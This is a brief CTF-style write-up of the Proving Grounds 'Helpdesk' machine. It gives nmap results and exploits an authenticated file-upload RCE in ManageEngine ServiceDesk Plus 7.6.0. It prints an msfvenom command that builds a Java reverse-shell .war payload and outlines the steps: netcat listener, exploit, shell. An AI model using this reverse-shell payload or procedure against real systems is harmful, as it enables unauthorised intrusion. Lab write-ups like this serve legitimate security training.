Proving grounds Practice - Helpdesk CTF writeup.

Nmap

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open  ms-wbt-server Microsoft Terminal Service
8080/tcp open  http          Apache Tomcat/Coyote JSP engine 1.1

Web PORT: 8080

ManageEngine Service Desk Plus version 7.6.0

The ManageEngine Service Desk Plus version 7.6.0 is vulnerable to authenticated Remote Code Execution vulnerability via file upload.

Create reverse TCP shell to upload

msfvenom -p java/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f war > shell.war

As specified in the code create a java reverse shell in the .war file format to upload.

Run netcat listener.

Run the exploit code.

Reverse Shell Obtained

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